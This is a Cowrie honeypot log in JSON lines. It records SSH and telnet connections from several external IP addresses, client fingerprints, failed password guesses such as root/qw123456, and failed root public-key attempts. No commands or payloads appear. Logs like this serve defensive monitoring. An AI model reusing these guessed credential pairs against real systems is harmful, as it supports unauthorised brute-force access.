{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:22.994258Z","src_ip":"124.156.196.131","session":"c3221a3d628c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa111111","message":"login attempt [ubuntu/Aa111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:24.011388Z","src_ip":"124.156.196.131","session":"c3221a3d628c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:25.262245Z","src_ip":"124.156.196.131","session":"c3221a3d628c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.213","src_port":33463,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa47caf2478d","protocol":"ssh","message":"New connection: 102.88.137.213:33463 (10.17.0.5:22) [session: fa47caf2478d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:28.801700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:28.806971Z","src_ip":"102.88.137.213","session":"fa47caf2478d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":46218,"dst_ip":"10.17.0.5","dst_port":22,"session":"9313d962b004","protocol":"ssh","message":"New connection: 103.75.182.198:46218 (10.17.0.5:22) [session: 9313d962b004]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:28.841699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:28.847353Z","src_ip":"103.75.182.198","session":"9313d962b004","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:28.995339Z","src_ip":"102.88.137.213","session":"fa47caf2478d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:29.094690Z","src_ip":"103.75.182.198","session":"9313d962b004","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qw123456","message":"login attempt [root/qw123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:29.769877Z","src_ip":"102.88.137.213","session":"fa47caf2478d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ghjghjghj9","message":"login attempt [root/ghjghjghj9] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:29.829917Z","src_ip":"103.75.182.198","session":"9313d962b004","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:30.960828Z","src_ip":"102.88.137.213","session":"fa47caf2478d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:31.085545Z","src_ip":"103.75.182.198","session":"9313d962b004","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.95.54","src_port":52046,"dst_ip":"159.203.135.109","dst_port":22,"session":"34044301cb01","protocol":"ssh","message":"New connection: 43.163.95.54:52046 (159.203.135.109:22) [session: 34044301cb01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:37.096875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:37.101533Z","src_ip":"43.163.95.54","session":"34044301cb01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:37.339710Z","src_ip":"43.163.95.54","session":"34044301cb01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sunil","password":"sunil123","message":"login attempt [sunil/sunil123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:38.319561Z","src_ip":"43.163.95.54","session":"34044301cb01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.211.227.2","src_port":36478,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1229f4a2b4f","protocol":"telnet","message":"New connection: 187.211.227.2:36478 (10.17.0.5:23) [session: a1229f4a2b4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:39.024727Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.3.206.66","src_port":42918,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8cec9babc80","protocol":"ssh","message":"New connection: 192.3.206.66:42918 (10.17.0.5:22) [session: f8cec9babc80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:39.308057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:39.317114Z","src_ip":"192.3.206.66","session":"f8cec9babc80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:39.343494Z","src_ip":"192.3.206.66","session":"f8cec9babc80","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e4:b4:77:f7:c9:e9:e7:c6:f5:07:45:ec:96:22:3f:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKiHmA9yJlhSd3B9D5rX9UaY4JHaExur1PfecoCdNBeMBwI/hqhKQ9JmRCLRJtt//WSBoTgVH/Vlp8HJcT9EAiycM4uWr9Cgnej06+EvvIhGJGUwXRU9kbJ4xI5cjecHgxEdwONBFdC4ELuEaezUEr1/U3WzkuGABOL8MmT3AgOj5hEOpkXjqLXDPirJieiyf7KeFzaq+3+oqHDPpK+t2DH1pfvJ/zh9vcU2+5wnnhbHT38ZKFmVUJNQVWRpeuz6XCm1dGqXolFD0UZpLSilTB1/GefbKB26Xq1uefgyGirTRtrMFrD7NC6180c5JgydHB03LWKvXNylb2aVtBpz7l","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e4:b4:77:f7:c9:e9:e7:c6:f5:07:45:ec:96:22:3f:06","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:39.459199Z","src_ip":"192.3.206.66","session":"f8cec9babc80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e4:b4:77:f7:c9:e9:e7:c6:f5:07:45:ec:96:22:3f:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKiHmA9yJlhSd3B9D5rX9UaY4JHaExur1PfecoCdNBeMBwI/hqhKQ9JmRCLRJtt//WSBoTgVH/Vlp8HJcT9EAiycM4uWr9Cgnej06+EvvIhGJGUwXRU9kbJ4xI5cjecHgxEdwONBFdC4ELuEaezUEr1/U3WzkuGABOL8MmT3AgOj5hEOpkXjqLXDPirJieiyf7KeFzaq+3+oqHDPpK+t2DH1pfvJ/zh9vcU2+5wnnhbHT38ZKFmVUJNQVWRpeuz6XCm1dGqXolFD0UZpLSilTB1/GefbKB26Xq1uefgyGirTRtrMFrD7NC6180c5JgydHB03LWKvXNylb2aVtBpz7l","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:39.463960Z","src_ip":"192.3.206.66","session":"f8cec9babc80","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"39:ff:2d:88:33:5c:1d:f2:8b:b2:f2:c5:2a:e0:40:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCt+sICsqCRlxsXupZS0XIxgAdiciSBtCYp/FsUrU7dGIOCIk0DnCJ7so9CZJ7+BphjhIUUzL8WrSzjDpCKNq4Ybju6OZ/GEjjrMjSYuZjbrCH223eTf59BoYuTjRv95vm83uKT9U2nHrAqTcRXHlwUY0zizDf61sEmWDnuAOxl66tKF/3mfXgH3wUzIrtehrcP2rWn8pSD7I/NN8K0tEx0BUmXg54qcy+/OtBnkWmOUnD40tCRVGVSh9cwatxV+ngpuQwuFwexOXaQJLba5mD4QaMinQp6G4yMuVeIw4KmPunb28iKjA/gj7oqB/HMIJlafGWj+y891IJrqnb1Ntl9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 39:ff:2d:88:33:5c:1d:f2:8b:b2:f2:c5:2a:e0:40:17","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:39.493196Z","src_ip":"192.3.206.66","session":"f8cec9babc80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"39:ff:2d:88:33:5c:1d:f2:8b:b2:f2:c5:2a:e0:40:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCt+sICsqCRlxsXupZS0XIxgAdiciSBtCYp/FsUrU7dGIOCIk0DnCJ7so9CZJ7+BphjhIUUzL8WrSzjDpCKNq4Ybju6OZ/GEjjrMjSYuZjbrCH223eTf59BoYuTjRv95vm83uKT9U2nHrAqTcRXHlwUY0zizDf61sEmWDnuAOxl66tKF/3mfXgH3wUzIrtehrcP2rWn8pSD7I/NN8K0tEx0BUmXg54qcy+/OtBnkWmOUnD40tCRVGVSh9cwatxV+ngpuQwuFwexOXaQJLba5mD4QaMinQp6G4yMuVeIw4KmPunb28iKjA/gj7oqB/HMIJlafGWj+y891IJrqnb1Ntl9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:39.497370Z","src_ip":"192.3.206.66","session":"f8cec9babc80","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1c:56:80:f4:ba:57:a8:27:d0:fb:7a:c5:0b:07:2b:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfC6o2YKjIvQ/uHDCrAlxLhTHqL7f3y2TOOaff2yt4Ip6QfHcAccgQJhHiOwCAQMklDHHdvsEvL0dA7PNhJFiNuUjHddALlXjtRnMKxXVflIJyB1Zb1xiPjFmCakDcV0d5r5j1bdkB2JY2gnvqA6u190yn+SKdvE+XWtb0qtFy/HwaYj4kmlexDv9yyxasqDvVplp/6HCPrdKUC9XXWZ7JX4AWth9NkR2eU6ZqxVrrK9AxCzp5xxn/2GXensIC3949TEthmKSxz9Ixs2HWqO+fcaTt+uYP7ORhpwQnZHK0W7NOjaqBhbNsZlDbN4/Wyh5Xf20ggvH7fTbuPauTnZFv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1c:56:80:f4:ba:57:a8:27:d0:fb:7a:c5:0b:07:2b:db","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:39.525429Z","src_ip":"192.3.206.66","session":"f8cec9babc80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1c:56:80:f4:ba:57:a8:27:d0:fb:7a:c5:0b:07:2b:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfC6o2YKjIvQ/uHDCrAlxLhTHqL7f3y2TOOaff2yt4Ip6QfHcAccgQJhHiOwCAQMklDHHdvsEvL0dA7PNhJFiNuUjHddALlXjtRnMKxXVflIJyB1Zb1xiPjFmCakDcV0d5r5j1bdkB2JY2gnvqA6u190yn+SKdvE+XWtb0qtFy/HwaYj4kmlexDv9yyxasqDvVplp/6HCPrdKUC9XXWZ7JX4AWth9NkR2eU6ZqxVrrK9AxCzp5xxn/2GXensIC3949TEthmKSxz9Ixs2HWqO+fcaTt+uYP7ORhpwQnZHK0W7NOjaqBhbNsZlDbN4/Wyh5Xf20ggvH7fTbuPauTnZFv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:39.531671Z","src_ip":"192.3.206.66","session":"f8cec9babc80","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e9:b8:fd:54:de:6b:16:bc:19:66:5d:16:71:28:3c:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAw0kl7alEVhiI7K9k2iHANj2BzDlG4CDMIzJhiP6xqQs6Q/WOeEt4KO6vwvowOlmlu2iisMQOQ2Jn+3kiCZxnsK1aZht/r47MU1sU2vRAHZsRHssVodRJ8pndREd4gGGAvj6r6j3/RjUCGlYDR7wS7lGZGp48LwIAbYiRd4P6xqM+povrnmh4zE8fvGiqCDWPsfxG6StgRxm1UOtIYJj6Hqp80H2+XINf/DSDyG0V9HUzDobkf/0RR0dbJPwuUJVoxrU6/ElJ+8+en40lyRTCH9I94KK30ldVH0jzeuO7O6okpT+5qe49Sea+YamgO4fLj08reTI1G62HPYmewdBM3w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e9:b8:fd:54:de:6b:16:bc:19:66:5d:16:71:28:3c:09","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:39.558889Z","src_ip":"192.3.206.66","session":"f8cec9babc80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e9:b8:fd:54:de:6b:16:bc:19:66:5d:16:71:28:3c:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAw0kl7alEVhiI7K9k2iHANj2BzDlG4CDMIzJhiP6xqQs6Q/WOeEt4KO6vwvowOlmlu2iisMQOQ2Jn+3kiCZxnsK1aZht/r47MU1sU2vRAHZsRHssVodRJ8pndREd4gGGAvj6r6j3/RjUCGlYDR7wS7lGZGp48LwIAbYiRd4P6xqM+povrnmh4zE8fvGiqCDWPsfxG6StgRxm1UOtIYJj6Hqp80H2+XINf/DSDyG0V9HUzDobkf/0RR0dbJPwuUJVoxrU6/ElJ+8+en40lyRTCH9I94KK30ldVH0jzeuO7O6okpT+5qe49Sea+YamgO4fLj08reTI1G62HPYmewdBM3w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:39.563379Z","src_ip":"192.3.206.66","session":"f8cec9babc80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:39.574181Z","src_ip":"43.163.95.54","session":"34044301cb01","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1b:0d:30:e5:1d:ed:2c:64:b3:24:37:f7:c3:0c:6a:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDX2c8ryggLzIRr5fc51UggkS2r6cAOALGMl2DhIopoW578z1gH5majz28SS+90tbDpJ9++b17yZloOU1uLV+3aAkvJOumLf/ke2ozTjd7zKukq0GQyiils0KgmaHMw0diERPq3RSY9NQF+NA12wqE2NzKueCaFuZiQhmFuzuef2YFMuxbuK4LSSoq5a1Fe1plJt2eRRUWIcX5juWBoZMjGq3VqU9VxSIMG3/m3xE/dacCYLmBdb3mGfeM7h4WalKlubF0e9CSqjOJcMpgfNPtgLDTNnblWdmF79Xbkhgaiap0YGbqvDm5hgrPqHTqxHmUPq9vzGzhy/lkjaYSB9Wtf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1b:0d:30:e5:1d:ed:2c:64:b3:24:37:f7:c3:0c:6a:cc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:39.590797Z","src_ip":"192.3.206.66","session":"f8cec9babc80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1b:0d:30:e5:1d:ed:2c:64:b3:24:37:f7:c3:0c:6a:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDX2c8ryggLzIRr5fc51UggkS2r6cAOALGMl2DhIopoW578z1gH5majz28SS+90tbDpJ9++b17yZloOU1uLV+3aAkvJOumLf/ke2ozTjd7zKukq0GQyiils0KgmaHMw0diERPq3RSY9NQF+NA12wqE2NzKueCaFuZiQhmFuzuef2YFMuxbuK4LSSoq5a1Fe1plJt2eRRUWIcX5juWBoZMjGq3VqU9VxSIMG3/m3xE/dacCYLmBdb3mGfeM7h4WalKlubF0e9CSqjOJcMpgfNPtgLDTNnblWdmF79Xbkhgaiap0YGbqvDm5hgrPqHTqxHmUPq9vzGzhy/lkjaYSB9Wtf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:39.595619Z","src_ip":"192.3.206.66","session":"f8cec9babc80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:39.623994Z","src_ip":"192.3.206.66","session":"f8cec9babc80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.024882316589355,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:18:52.049363Z","src_ip":"187.211.227.2","session":"a1229f4a2b4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44204,"dst_ip":"10.17.0.5","dst_port":23,"session":"baa7a550147b","protocol":"telnet","message":"New connection: 152.42.224.71:44204 (10.17.0.5:23) [session: baa7a550147b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:19:13.700515Z"}
